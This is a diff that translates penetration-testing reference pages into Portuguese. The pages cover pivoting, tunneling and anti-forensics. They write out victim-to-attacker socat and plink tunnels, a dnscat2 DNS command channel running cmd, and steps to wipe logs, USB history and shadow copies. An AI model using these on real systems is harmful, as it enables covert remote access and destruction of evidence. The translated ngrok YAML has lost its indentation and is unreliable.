 victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt
 ```
-
 ### Remote Port2Port
 
-Connect the local SSH port (22) to the 443 port of the attacker host
-
+Conecte a porta SSH local (22) à porta 443 do host atacante
 ```bash
 attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
 victim> while true; do socat TCP4::443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
 attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim
 ```
-
 ## Plink.exe
 
-It's like a console PuTTY version ( the options are very similar to an ssh client).
-
-As this binary will be executed in the victim and it is an ssh client, we need to open our ssh service and port so we can have a reverse connection. Then, to forward only locally accessible port to a port in our machine:
+É como uma versão de console do PuTTY (as opções são muito semelhantes a um cliente ssh).
 
+Como este binário será executado na vítima e é um cliente ssh, precisamos abrir nosso serviço e porta ssh para que possamos ter uma conexão reversa. Então, para encaminhar apenas a porta acessível localmente para uma porta em nossa máquina:
 ```bash
 echo y | plink.exe -l  -pw  [-p ] -R :: 
 echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
 ```
-
 ## Windows netsh
 
 ### Port2Port
 
-You need to be a local admin (for any port)
-
+Você precisa ser um administrador local (para qualquer porta)
 ```bash
 netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
 # Example:
@@ -410,60 +341,50 @@ netsh interface portproxy show v4tov4
 # Delete port forward
 netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
 ```
-
 ## SocksOverRDP & Proxifier
 
-You need to have **RDP access over the system**.\
-Download:
+Você precisa ter **acesso RDP sobre o sistema**.\
+Baixe:
 
-1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - This tool uses `Dynamic Virtual Channels` (`DVC`) from the Remote Desktop Service feature of Windows. DVC is responsible for **tunneling packets over the RDP connection**.
+1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Esta ferramenta usa `Dynamic Virtual Channels` (`DVC`) do recurso de Serviço de Área de Trabalho Remota do Windows. DVC é responsável por **tunneling de pacotes sobre a conexão RDP**.
 2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
 
-In your client computer load **`SocksOverRDP-Plugin.dll`** like this:
-
+No seu computador cliente, carregue **`SocksOverRDP-Plugin.dll`** assim:
 ```bash
 # Load SocksOverRDP.dll using regsvr32.exe
 C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
 ```
+Agora podemos **conectar** à **vítima** via **RDP** usando **`mstsc.exe`**, e devemos receber um **prompt** informando que o **plugin SocksOverRDP está habilitado**, e ele irá **escutar** em **127.0.0.1:1080**.
 
-Now we can **connect** to the **victim** over **RDP** using **`mstsc.exe`**, and we should receive a **prompt** saying that the **SocksOverRDP plugin is enabled**, and it will **listen** on **127.0.0.1:1080**.
-
-**Connect** via **RDP** and upload & execute in the victim machine the `SocksOverRDP-Server.exe` binary:
-
+**Conecte-se** via **RDP** e faça o upload e execute o binário `SocksOverRDP-Server.exe` na máquina da vítima:
 ```
 C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
 ```
-
-Now, confirm in you machine (attacker) that the port 1080 is listening:
-
+Agora, confirme em sua máquina (atacante) que a porta 1080 está escutando:
 ```
 netstat -antb | findstr 1080
 ```
+Agora você pode usar [**Proxifier**](https://www.proxifier.com/) **para fazer proxy do tráfego através dessa porta.**
 
-Now you can use [**Proxifier**](https://www.proxifier.com/) **to proxy the traffic through that port.**
+## Proxificar Aplicativos GUI do Windows
 
-## Proxify Windows GUI Apps
+Você pode fazer aplicativos GUI do Windows navegarem através de um proxy usando [**Proxifier**](https://www.proxifier.com/).\
+Em **Profile -> Proxy Servers** adicione o IP e a porta do servidor SOCKS.\
+Em **Profile -> Proxification Rules** adicione o nome do programa a ser proxificado e as conexões para os IPs que você deseja proxificar.
 
-You can make Windows GUI apps navigate through a proxy using [**Proxifier**](https://www.proxifier.com/).\
-In **Profile -> Proxy Servers** add the IP and port of the SOCKS server.\
-In **Profile -> Proxification Rules** add the name of the program to proxify and the connections to the IPs you want to proxify.
-
-## NTLM proxy bypass
-
-The previously mentioned tool: **Rpivot**\
-**OpenVPN** can also bypass it, setting these options in the configuration file:
+## Bypass de proxy NTLM
 
+A ferramenta mencionada anteriormente: **Rpivot**\
+**OpenVPN** também pode contorná-lo, configurando essas opções no arquivo de configuração:
 ```bash
 http-proxy  8080  ntlm
 ```
-
 ### Cntlm
 
 [http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
 
-It authenticates against a proxy and binds a port locally that is forwarded to the external service you specify. Then, you can use the tool of your choice through this port.\
-For example that forward port 443
-
+Ele autentica contra um proxy e vincula uma porta local que é encaminhada para o serviço externo que você especificar. Então, você pode usar a ferramenta de sua escolha através dessa porta.\
+Por exemplo, encaminhe a porta 443.
 ```
 Username Alice
 Password P@ssw0rd
@@ -471,13 +392,12 @@ Domain CONTOSO.COM
 Proxy 10.0.0.10:8080
 Tunnel 2222::443
 ```
-
-Now, if you set for example in the victim the **SSH** service to listen in port 443. You can connect to it through the attacker port 2222.\
-You could also use a **meterpreter** that connects to localhost:443 and the attacker is listening in port 2222.
+Agora, se você configurar, por exemplo, no vítima o serviço **SSH** para escutar na porta 443. Você pode se conectar a ele através da porta 2222 do atacante.\
+Você também poderia usar um **meterpreter** que se conecta a localhost:443 e o atacante está escutando na porta 2222.
 
 ## YARP
 
-A reverse proxy created by Microsoft. You can find it here: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
+Um proxy reverso criado pela Microsoft. Você pode encontrá-lo aqui: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
 
 ## DNS Tunneling
 
@@ -485,26 +405,21 @@ A reverse proxy created by Microsoft. You can find it here: [https://github.com/
 
 [https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
 
-Root is needed in both systems to create tun adapters and tunnel data between them using DNS queries.
-
+Root é necessário em ambos os sistemas para criar adaptadores tun e tunnel dados entre eles usando consultas DNS.
 ```
 attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
 victim> iodine -f -P P@ssw0rd tunneldomain.com -r
 #You can see the victim at 1.1.1.2
 ```
-
-The tunnel will be very slow. You can create a compressed SSH connection through this tunnel by using:
-
+O túnel será muito lento. Você pode criar uma conexão SSH comprimida através deste túnel usando:
 ```
 ssh @1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
 ```
-
 ### DNSCat2
 
-[**Download it from here**](https://github.com/iagox86/dnscat2)**.**
-
-Establishes a C\&C channel through DNS. It doesn't need root privileges.
+[**Baixe aqui**](https://github.com/iagox86/dnscat2)**.**
 
+Estabelece um canal C\&C através do DNS. Não precisa de privilégios de root.
 ```bash
 attacker> ruby ./dnscat2.rb tunneldomain.com
 victim> ./dnscat2 tunneldomain.com
@@ -513,50 +428,42 @@ victim> ./dnscat2 tunneldomain.com
 attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache
 victim> ./dnscat2 --dns host=10.10.10.10,port=5353
 ```
+#### **No PowerShell**
 
-#### **In PowerShell**
-
-You can use [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) to run a dnscat2 client in powershell:
-
+Você pode usar [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) para executar um cliente dnscat2 no powershell:
 ```
 Import-Module .\dnscat2.ps1
 Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
 ```
-
-#### **Port forwarding with dnscat**
-
+#### **Encaminhamento de porta com dnscat**
 ```bash
 session -i 
 listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
 ```
+#### Mudar o DNS do proxychains
 
-#### Change proxychains DNS
+Proxychains intercepta a chamada `gethostbyname` da libc e encaminha a solicitação de DNS tcp através do proxy socks. Por **padrão**, o servidor **DNS** que o proxychains usa é **4.2.2.2** (hardcoded). Para mudá-lo, edite o arquivo: _/usr/lib/proxychains3/proxyresolv_ e altere o IP. Se você estiver em um **ambiente Windows**, pode definir o IP do **controlador de domínio**.
 
-Proxychains intercepts `gethostbyname` libc call and tunnels tcp DNS request through the socks proxy. By **default** the **DNS** server that proxychains use is **4.2.2.2** (hardcoded). To change it, edit the file: _/usr/lib/proxychains3/proxyresolv_ and change the IP. If you are in a **Windows environment** you could set the IP of the **domain controller**.
-
-## Tunnels in Go
+## Túneis em Go
 
 [https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel)
 
-## ICMP Tunneling
+## Tunneling ICMP
 
 ### Hans
 
 [https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
 [https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
 
-Root is needed in both systems to create tun adapters and tunnel data between them using ICMP echo requests.
-
+Root é necessário em ambos os sistemas para criar adaptadores tun e encaminhar dados entre eles usando solicitações de eco ICMP.
 ```bash
 ./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
 ./hans -f -c  -p P@ssw0rd -v
 ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100
 ```
-
 ### ptunnel-ng
 
-[**Download it from here**](https://github.com/utoni/ptunnel-ng.git).
-
+[**Baixe aqui**](https://github.com/utoni/ptunnel-ng.git).
 ```bash
 # Generate it
 sudo ./autogen.sh
@@ -570,32 +477,28 @@ ssh -p 2222 -l user 127.0.0.1
 # Create a socks proxy through the SSH connection through the ICMP tunnel
 ssh -D 9050 -p 2222 -l user 127.0.0.1
 ```
-
 ## ngrok
 
-[**ngrok**](https://ngrok.com/) **is a tool to expose solutions to Internet in one command line.**\
-&#xNAN;_Exposition URI are like:_ **UID.ngrok.io**
+[**ngrok**](https://ngrok.com/) **é uma ferramenta para expor soluções à Internet em uma linha de comando.**\
+&#xNAN;_Exposition URI são como:_ **UID.ngrok.io**
 
-### Installation
-
-- Create an account: https://ngrok.com/signup
-- Client download:
+### Instalação
 
+- Crie uma conta: https://ngrok.com/signup
+- Download do cliente:
 ```bash
 tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin
 chmod a+x ./ngrok
 # Init configuration, with your token
 ./ngrok config edit
 ```
+### Usos básicos
 
-### Basic usages
+**Documentação:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/).
 
-**Documentation:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/).
-
-_It is also possible to add authentication and TLS, if necessary._
+_É também possível adicionar autenticação e TLS, se necessário._
 
 #### Tunneling TCP
-
 ```bash
 # Pointing to 0.0.0.0:4444
 ./ngrok tcp 4444
@@ -603,49 +506,42 @@ _It is also possible to add authentication and TLS, if necessary._
 # Listen (example): nc -nvlp 4444
 # Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345
 ```
-
-#### Exposing files with HTTP
-
+#### Expondo arquivos com HTTP
 ```bash
 ./ngrok http file:///tmp/httpbin/
 # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
 ```
+#### Captura de chamadas HTTP
 
-#### Sniffing HTTP calls
-
-_Useful for XSS,SSRF,SSTI ..._\
-Directly from stdout or in the HTTP interface [http://127.0.0.1:4040](http://127.0.0.1:4000).
-
-#### Tunneling internal HTTP service
+_Util útil para XSS, SSRF, SSTI ..._\
+Diretamente do stdout ou na interface HTTP [http://127.0.0.1:4040](http://127.0.0.1:4000).
 
+#### Tunelamento de serviço HTTP interno
 ```bash
 ./ngrok http localhost:8080 --host-header=rewrite
 # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
 # With basic auth
 ./ngrok http localhost:8080 --host-header=rewrite --auth="myuser:mysuperpassword"
 ```
+#### ngrok.yaml exemplo de configuração simples
 
-#### ngrok.yaml simple configuration example
-
-It opens 3 tunnels:
+Ele abre 3 túneis:
 
 - 2 TCP
-- 1 HTTP with static files exposition from /tmp/httpbin/
-
+- 1 HTTP com exposição de arquivos estáticos de /tmp/httpbin/
 ```yaml
 tunnels:
-  mytcp:
-    addr: 4444
-    proto: tcptunne
-  anothertcp:
-    addr: 5555
-    proto: tcp
-  httpstatic:
-    proto: http
-    addr: file:///tmp/httpbin/
+mytcp:
+addr: 4444
+proto: tcptunne
+anothertcp:
+addr: 5555
+proto: tcp
+httpstatic:
+proto: http
+addr: file:///tmp/httpbin/
 ```
-
-## Other tools to check
+## Outras ferramentas para verificar
 
 - [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
 - [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md
index e725dfa85..2919ef0f3 100644
--- a/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md
+++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md
@@ -1,30 +1,30 @@
-# Basic Forensic Methodology
+# Metodologia Forense Básica
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Creating and Mounting an Image
+## Criando e Montando uma Imagem
 
 {{#ref}}
 ../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md
 {{#endref}}
 
-## Malware Analysis
+## Análise de Malware
 
-This **isn't necessary the first step to perform once you have the image**. But you can use this malware analysis techniques independently if you have a file, a file-system image, memory image, pcap... so it's good to **keep these actions in mind**:
+Isso **não é necessariamente o primeiro passo a ser realizado uma vez que você tenha a imagem**. Mas você pode usar essas técnicas de análise de malware de forma independente se tiver um arquivo, uma imagem de sistema de arquivos, imagem de memória, pcap... então é bom **manter essas ações em mente**:
 
 {{#ref}}
 malware-analysis.md
 {{#endref}}
 
-## Inspecting an Image
+## Inspecionando uma Imagem
 
-if you are given a **forensic image** of a device you can start **analyzing the partitions, file-system** used and **recovering** potentially **interesting files** (even deleted ones). Learn how in:
+Se você receber uma **imagem forense** de um dispositivo, pode começar **analisando as partições, o sistema de arquivos** utilizado e **recuperando** arquivos potencialmente **interessantes** (mesmo os deletados). Aprenda como em:
 
 {{#ref}}
 partitions-file-systems-carving/
 {{#endref}}
 
-Depending on the used OSs and even platform different interesting artifacts should be searched:
+Dependendo dos sistemas operacionais utilizados e até mesmo da plataforma, diferentes artefatos interessantes devem ser pesquisados:
 
 {{#ref}}
 windows-forensics/
@@ -38,42 +38,42 @@ linux-forensics.md
 docker-forensics.md
 {{#endref}}
 
-## Deep inspection of specific file-types and Software
+## Inspeção profunda de tipos de arquivos específicos e Software
 
-If you have very **suspicious** **file**, then **depending on the file-type and software** that created it several **tricks** may be useful.\
-Read the following page to learn some interesting tricks:
+Se você tiver um **arquivo** muito **suspeito**, então **dependendo do tipo de arquivo e do software** que o criou, vários **truques** podem ser úteis.\
+Leia a página a seguir para aprender alguns truques interessantes:
 
 {{#ref}}
 specific-software-file-type-tricks/
 {{#endref}}
 
-I want to do a special mention to the page:
+Quero fazer uma menção especial à página:
 
 {{#ref}}
 specific-software-file-type-tricks/browser-artifacts.md
 {{#endref}}
 
-## Memory Dump Inspection
+## Inspeção de Dump de Memória
 
 {{#ref}}
 memory-dump-analysis/
 {{#endref}}
 
-## Pcap Inspection
+## Inspeção de Pcap
 
 {{#ref}}
 pcap-inspection/
 {{#endref}}
 
-## **Anti-Forensic Techniques**
+## **Técnicas Anti-Forenses**
 
-Keep in mind the possible use of anti-forensic techniques:
+Tenha em mente o possível uso de técnicas anti-forenses:
 
 {{#ref}}
 anti-forensic-techniques.md
 {{#endref}}
 
-## Threat Hunting
+## Caça a Ameaças
 
 {{#ref}}
 file-integrity-monitoring.md
diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md
index 94a381b98..05f2e5eaa 100644
--- a/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md
+++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md
@@ -1,152 +1,152 @@
-# Anti-Forensic Techniques
+# Técnicas Anti-Forense
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Timestamps
+## Carimbos de Data/Hora
 
-An attacker may be interested in **changing the timestamps of files** to avoid being detected.\
-It's possible to find the timestamps inside the MFT in attributes `$STANDARD_INFORMATION` \_\_ and \_\_ `$FILE_NAME`.
+Um atacante pode estar interessado em **alterar os carimbos de data/hora dos arquivos** para evitar ser detectado.\
+É possível encontrar os carimbos de data/hora dentro do MFT nos atributos `$STANDARD_INFORMATION` \_\_ e \_\_ `$FILE_NAME`.
 
-Both attributes have 4 timestamps: **Modification**, **access**, **creation**, and **MFT registry modification** (MACE or MACB).
+Ambos os atributos têm 4 carimbos de data/hora: **Modificação**, **acesso**, **criação** e **modificação do registro MFT** (MACE ou MACB).
 
-**Windows explorer** and other tools show the information from **`$STANDARD_INFORMATION`**.
+**Windows explorer** e outras ferramentas mostram as informações de **`$STANDARD_INFORMATION`**.
 
-### TimeStomp - Anti-forensic Tool
+### TimeStomp - Ferramenta Anti-forense
 
-This tool **modifies** the timestamp information inside **`$STANDARD_INFORMATION`** **but** **not** the information inside **`$FILE_NAME`**. Therefore, it's possible to **identify** **suspicious** **activity**.
+Esta ferramenta **modifica** as informações de carimbo de data/hora dentro de **`$STANDARD_INFORMATION`** **mas** **não** as informações dentro de **`$FILE_NAME`**. Portanto, é possível **identificar** **atividade** **suspeita**.
 
 ### Usnjrnl
 
-The **USN Journal** (Update Sequence Number Journal) is a feature of the NTFS (Windows NT file system) that keeps track of volume changes. The [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) tool allows for the examination of these changes.
+O **USN Journal** (Update Sequence Number Journal) é um recurso do NTFS (sistema de arquivos Windows NT) que rastreia alterações no volume. A ferramenta [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) permite a análise dessas alterações.
 
 ![](<../../images/image (801).png>)
 
-The previous image is the **output** shown by the **tool** where it can be observed that some **changes were performed** to the file.
+A imagem anterior é a **saída** mostrada pela **ferramenta**, onde pode-se observar que algumas **alterações foram realizadas** no arquivo.
 
 ### $LogFile
 
-**All metadata changes to a file system are logged** in a process known as [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). The logged metadata is kept in a file named `**$LogFile**`, located in the root directory of an NTFS file system. Tools such as [LogFileParser](https://github.com/jschicht/LogFileParser) can be used to parse this file and identify changes.
+**Todas as alterações de metadados em um sistema de arquivos são registradas** em um processo conhecido como [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). Os metadados registrados são mantidos em um arquivo chamado `**$LogFile**`, localizado no diretório raiz de um sistema de arquivos NTFS. Ferramentas como [LogFileParser](https://github.com/jschicht/LogFileParser) podem ser usadas para analisar este arquivo e identificar alterações.
 
 ![](<../../images/image (137).png>)
 
-Again, in the output of the tool it's possible to see that **some changes were performed**.
+Novamente, na saída da ferramenta é possível ver que **algumas alterações foram realizadas**.
 
-Using the same tool it's possible to identify to **which time the timestamps were modified**:
+Usando a mesma ferramenta, é possível identificar **a que hora os carimbos de data/hora foram modificados**:
 
 ![](<../../images/image (1089).png>)
 
-- CTIME: File's creation time
-- ATIME: File's modification time
-- MTIME: File's MFT registry modification
-- RTIME: File's access time
+- CTIME: Hora de criação do arquivo
+- ATIME: Hora de modificação do arquivo
+- MTIME: Modificação do registro MFT do arquivo
+- RTIME: Hora de acesso do arquivo
 
-### `$STANDARD_INFORMATION` and `$FILE_NAME` comparison
+### Comparação entre `$STANDARD_INFORMATION` e `$FILE_NAME`
 
-Another way to identify suspicious modified files would be to compare the time on both attributes looking for **mismatches**.
+Outra maneira de identificar arquivos modificados suspeitos seria comparar o tempo em ambos os atributos em busca de **incompatibilidades**.
 
-### Nanoseconds
+### Nanosegundos
 
-**NTFS** timestamps have a **precision** of **100 nanoseconds**. Then, finding files with timestamps like 2010-10-10 10:10:**00.000:0000 is very suspicious**.
+Os carimbos de data/hora do **NTFS** têm uma **precisão** de **100 nanosegundos**. Portanto, encontrar arquivos com carimbos de data/hora como 2010-10-10 10:10:**00.000:0000 é muito suspeito**.
 
-### SetMace - Anti-forensic Tool
+### SetMace - Ferramenta Anti-forense
 
-This tool can modify both attributes `$STARNDAR_INFORMATION` and `$FILE_NAME`. However, from Windows Vista, it's necessary for a live OS to modify this information.
+Esta ferramenta pode modificar ambos os atributos `$STARNDAR_INFORMATION` e `$FILE_NAME`. No entanto, a partir do Windows Vista, é necessário que um sistema operacional ao vivo modifique essas informações.
 
-## Data Hiding
+## Ocultação de Dados
 
-NFTS uses a cluster and the minimum information size. That means that if a file occupies uses and cluster and a half, the **reminding half is never going to be used** until the file is deleted. Then, it's possible to **hide data in this slack space**.
+O NFTS usa um cluster e o tamanho mínimo da informação. Isso significa que se um arquivo ocupa e usa um cluster e meio, a **metade restante nunca será utilizada** até que o arquivo seja excluído. Portanto, é possível **ocultar dados neste espaço de sobra**.
 
-There are tools like slacker that allow hiding data in this "hidden" space. However, an analysis of the `$logfile` and `$usnjrnl` can show that some data was added:
+Existem ferramentas como slacker que permitem ocultar dados neste espaço "oculto". No entanto, uma análise do `$logfile` e `$usnjrnl` pode mostrar que alguns dados foram adicionados:
 
 ![](<../../images/image (1060).png>)
 
-Then, it's possible to retrieve the slack space using tools like FTK Imager. Note that this kind of tool can save the content obfuscated or even encrypted.
+Então, é possível recuperar o espaço de sobra usando ferramentas como FTK Imager. Note que esse tipo de ferramenta pode salvar o conteúdo ofuscado ou até mesmo criptografado.
 
 ## UsbKill
 
-This is a tool that will **turn off the computer if any change in the USB** ports is detected.\
-A way to discover this would be to inspect the running processes and **review each python script running**.
+Esta é uma ferramenta que **desliga o computador se qualquer alteração nas portas USB** for detectada.\
+Uma maneira de descobrir isso seria inspecionar os processos em execução e **revisar cada script python em execução**.
 
-## Live Linux Distributions
+## Distribuições Linux ao Vivo
 
-These distros are **executed inside the RAM** memory. The only way to detect them is **in case the NTFS file-system is mounted with write permissions**. If it's mounted just with read permissions it won't be possible to detect the intrusion.
+Essas distros são **executadas dentro da memória RAM**. A única maneira de detectá-las é **caso o sistema de arquivos NTFS esteja montado com permissões de gravação**. Se estiver montado apenas com permissões de leitura, não será possível detectar a intrusão.
 
-## Secure Deletion
+## Exclusão Segura
 
 [https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization)
 
-## Windows Configuration
+## Configuração do Windows
 
-It's possible to disable several windows logging methods to make the forensics investigation much harder.
+É possível desativar vários métodos de registro do Windows para dificultar muito a investigação forense.
 
-### Disable Timestamps - UserAssist
+### Desativar Carimbos de Data/Hora - UserAssist
 
-This is a registry key that maintains dates and hours when each executable was run by the user.
+Esta é uma chave de registro que mantém datas e horas quando cada executável foi executado pelo usuário.
 
-Disabling UserAssist requires two steps:
+Desativar o UserAssist requer duas etapas:
 
-1. Set two registry keys, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` and `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, both to zero in order to signal that we want UserAssist disabled.
-2. Clear your registry subtrees that look like `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`.
+1. Defina duas chaves de registro, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` e `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, ambas para zero a fim de sinalizar que queremos desativar o UserAssist.
+2. Limpe suas subárvores de registro que se parecem com `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`.
 
-### Disable Timestamps - Prefetch
+### Desativar Carimbos de Data/Hora - Prefetch
 
-This will save information about the applications executed with the goal of improving the performance of the Windows system. However, this can also be useful for forensics practices.
+Isso salvará informações sobre os aplicativos executados com o objetivo de melhorar o desempenho do sistema Windows. No entanto, isso também pode ser útil para práticas forenses.
 
 - Execute `regedit`
-- Select the file path `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
-- Right-click on both `EnablePrefetcher` and `EnableSuperfetch`
-- Select Modify on each of these to change the value from 1 (or 3) to 0
-- Restart
+- Selecione o caminho do arquivo `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
+- Clique com o botão direito em `EnablePrefetcher` e `EnableSuperfetch`
+- Selecione Modificar em cada um deles para alterar o valor de 1 (ou 3) para 0
+- Reinicie
 
-### Disable Timestamps - Last Access Time
+### Desativar Carimbos de Data/Hora - Último Tempo de Acesso
 
-Whenever a folder is opened from an NTFS volume on a Windows NT server, the system takes the time to **update a timestamp field on each listed folder**, called the last access time. On a heavily used NTFS volume, this can affect performance.
+Sempre que uma pasta é aberta a partir de um volume NTFS em um servidor Windows NT, o sistema leva o tempo para **atualizar um campo de carimbo de data/hora em cada pasta listada**, chamado de último tempo de acesso. Em um volume NTFS muito utilizado, isso pode afetar o desempenho.
 
-1. Open the Registry Editor (Regedit.exe).
-2. Browse to `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`.
-3. Look for `NtfsDisableLastAccessUpdate`. If it doesn’t exist, add this DWORD and set its value to 1, which will disable the process.
-4. Close the Registry Editor, and reboot the server.
+1. Abra o Editor do Registro (Regedit.exe).
+2. Navegue até `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`.
+3. Procure por `NtfsDisableLastAccessUpdate`. Se não existir, adicione este DWORD e defina seu valor como 1, o que desativará o processo.
+4. Feche o Editor do Registro e reinicie o servidor.
 
-### Delete USB History
+### Excluir Histórico USB
 
-All the **USB Device Entries** are stored in Windows Registry Under the **USBSTOR** registry key that contains sub keys which are created whenever you plug a USB Device into your PC or Laptop. You can find this key here H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Deleting this** you will delete the USB history.\
-You may also use the tool [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) to be sure you have deleted them (and to delete them).
+Todas as **Entradas de Dispositivos USB** são armazenadas no Registro do Windows sob a chave de registro **USBSTOR**, que contém subchaves que são criadas sempre que você conecta um dispositivo USB ao seu PC ou Laptop. Você pode encontrar esta chave aqui `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Excluindo isso**, você excluirá o histórico USB.\
+Você também pode usar a ferramenta [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) para ter certeza de que as excluiu (e para excluí-las).
 
-Another file that saves information about the USBs is the file `setupapi.dev.log` inside `C:\Windows\INF`. This should also be deleted.
+Outro arquivo que salva informações sobre os USBs é o arquivo `setupapi.dev.log` dentro de `C:\Windows\INF`. Este também deve ser excluído.
 
-### Disable Shadow Copies
+### Desativar Cópias de Sombra
 
-**List** shadow copies with `vssadmin list shadowstorage`\
-**Delete** them running `vssadmin delete shadow`
+**Liste** as cópias de sombra com `vssadmin list shadowstorage`\
+**Exclua**-as executando `vssadmin delete shadow`
 
-You can also delete them via GUI following the steps proposed in [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)
+Você também pode excluí-las via GUI seguindo os passos propostos em [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)
 
-To disable shadow copies [steps from here](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
+Para desativar cópias de sombra [passos a partir daqui](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
 
-1. Open the Services program by typing "services" into the text search box after clicking the Windows start button.
-2. From the list, find "Volume Shadow Copy", select it, and then access Properties by right-clicking.
-3. Choose Disabled from the "Startup type" drop-down menu, and then confirm the change by clicking Apply and OK.
+1. Abra o programa Serviços digitando "serviços" na caixa de pesquisa de texto após clicar no botão iniciar do Windows.
+2. Na lista, encontre "Volume Shadow Copy", selecione-o e acesse Propriedades clicando com o botão direito.
+3. Escolha Desativado no menu suspenso "Tipo de Inicialização" e confirme a alteração clicando em Aplicar e OK.
 
-It's also possible to modify the configuration of which files are going to be copied in the shadow copy in the registry `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
+Também é possível modificar a configuração de quais arquivos serão copiados na cópia de sombra no registro `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
 
-### Overwrite deleted files
+### Sobrescrever arquivos excluídos
 
-- You can use a **Windows tool**: `cipher /w:C` This will indicate cipher to remove any data from the available unused disk space inside the C drive.
-- You can also use tools like [**Eraser**](https://eraser.heidi.ie)
+- Você pode usar uma **ferramenta do Windows**: `cipher /w:C` Isso indicará ao cipher para remover qualquer dado do espaço de disco não utilizado disponível dentro da unidade C.
+- Você também pode usar ferramentas como [**Eraser**](https://eraser.heidi.ie)
 
-### Delete Windows event logs
